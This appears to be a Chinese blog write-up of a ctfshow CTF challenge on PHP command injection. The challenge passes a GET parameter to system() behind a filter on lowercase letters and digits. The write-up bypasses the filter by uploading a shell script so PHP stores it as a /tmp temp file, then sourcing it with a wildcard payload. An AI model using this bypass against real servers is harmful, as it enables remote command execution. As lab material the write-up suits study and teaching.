首页 > 编程语言 >PHP临时文件命令执行

PHP临时文件命令执行

时间:2023-11-29 10:32:27浏览次数:26  
标签:文件 GET 小写字母 命令 file 临时文件 PHP 上传

来自于ctfshow的一道题

例题

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))
    {
        system($c);
    }
}

过滤了所有小写字母和数字

但是放出了. /

准备一个脚本文件,名为1.php

#!/bin/sh
ls

构造一个2.html文件,上传一个脚本文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST文件上传</title>
</head>
<body>
<form action="http://59bd884e-d64a-4dc1-aaf7-3561c5a9b93c.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后上传1.php,抓包

PHP临时文件命令执行_临时文件

参数部分提交

?c=.%20/???/????????[@-[]

PHP临时文件命令执行_php_02

知识点

1、. /path/file这样是通过bash执行file文件中的命令

2、发送POST上传文件,PHP会生成一个临时文件,默认保存在/tmp/phpxxxxxx,其中xxxxxx是六个随机的大小写字母,所以我们只需要匹配最后一个字母是大写字母的时候就可以绕过题目的正则

而绕过的方法就是用通配符/???/????????[@-[]],其中[@-[]]是为了定位随机临时文件名最后大写的一位,因为在ASCII码表中,大写字母的范围实在@[之间

PHP临时文件命令执行_临时文件_03


标签:文件,GET,小写字母,命令,file,临时文件,PHP,上传
From: https://blog.51cto.com/u_16305205/8611316

相关文章

  • 命令行界面的虚拟机如何转成图形界面
    教程相关步骤1、查看有什么可以安装yumgrouplist2、安装GUI图形界面yumgroupinstall-y"ServerwithGUI""DevelopmentTools"3、打开下载好的GUI图形界面startx开启成功!......
  • linux常用命令
    1、Isls命令是列出目录内容的意思(ListDirecttoryContents)。运行它就是列出文件夹的内容,可能是文件也可能是文件夹。ls-l命令以详情模式(longlistingfashion)列出文件夹的内容。ls-a命令会列出文件夹里的所有内容,包括以"."开头的隐藏文件。注意:在Linux中,文件以“.”开头......
  • Linux文件管理的相关命令
    文件目录与路径mkdir创建一个文件夹.mkdir-p一次性创建多个文件夹,在自己的当前所在目录,用指令qwd查看.qwd自己的当前所在目录.qwd-p查看自己的绝对路径.目录与文件操作ls-a查看隐藏目录和文件.在自己的所在的目录下.ll(ls-a)查看目录和文件属性.cd切换目录.rmdir......
  • 【Azure Key Vault】使用Azure CLI获取Key Vault 机密遇见问题后使用curl命令来获取机
    问题描述在使用AzureKeyVault的过程中,遇见无法获取机密信息,在不方便直接写代码的情况下,快速使用AzureCLI指令来验证当前使用的认证是否可以获取到正确的机密值。使用CLI的指令为:第一步:设置azure的云环境参数,指定为中国区云服务azcloudset--nameAzureChinaCloud第二步......
  • php反序列化
    前置知识各种魔术方法的触发条件:__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,当对象创建完成结束后会调用__toString当一个对象被当作一个字符串被调用。__wakeup()使用unserialize时触发__sleep()使用serialize时触发__destruct()对象被销......
  • Linux命令-rz
    1.rz介绍linux命令rz是用来把文件从windows等平台上传到Linux上2.rz用法rz[参数]filerz参数参数说明-b使用binary的方式上传,不解释字符为ascii-y相同文件名,覆盖-E相同文件名,不会将其覆盖,而是会在所上传文件后面加上.0,以此类推3.1.上传文件,相同文件名,进行覆......
  • git中的常用命令
    一、初始化仓库初始化,将目录变成git可以管理的仓库gitinit二、仓库版本操作将文件放到仓库,可以多次add然后一次commitgitadd文件名gitcommit-m"描述"查看当前版本以前的提交历史,加上--pretty=oneline会让版本信息更简洁。(可以显示所有提交过的版本信息,包括版本号......
  • linux虚拟机gcc命令安装
    我从网上找的安装命令是"sudoapt-getinstallgcc",但是我无法成功,它提示未找到apt-get命令,于是我把apt-get命令更换成yum命令,也就是"sudoyuminstallgcc",这个命令就没有问题了,直接安装成功。所以可以直接使用yum命令。 附:当apt-get命令找不到时,可能有以下几个原因和解决......
  • 【转载】php内置服务器的使用
    参考https://www.php.net/manual/zh/features.commandline.webserver.phphttps://www.bilibili.com/video/BV1J54y1q7y3https://blog.csdn.net/shenshulong/article/details/103959756注意这个内置的Web服务器主要用于本地开发使用,不可用于线上产品环境。环境软件/......
  • linux常见命令总结
    学习Linux已经10多个星期了,所以想总结一下,以便于复习1.Linux管理文件和目录的命令1.1pwd命令该命令的英文解释为printworkingdirectory(打印工作目录)。输入pwd命令,Linux会输出当前目录。1.2cd命令cd命令用来改变所在目录。cd/转到根目录中cd~转到/home/us......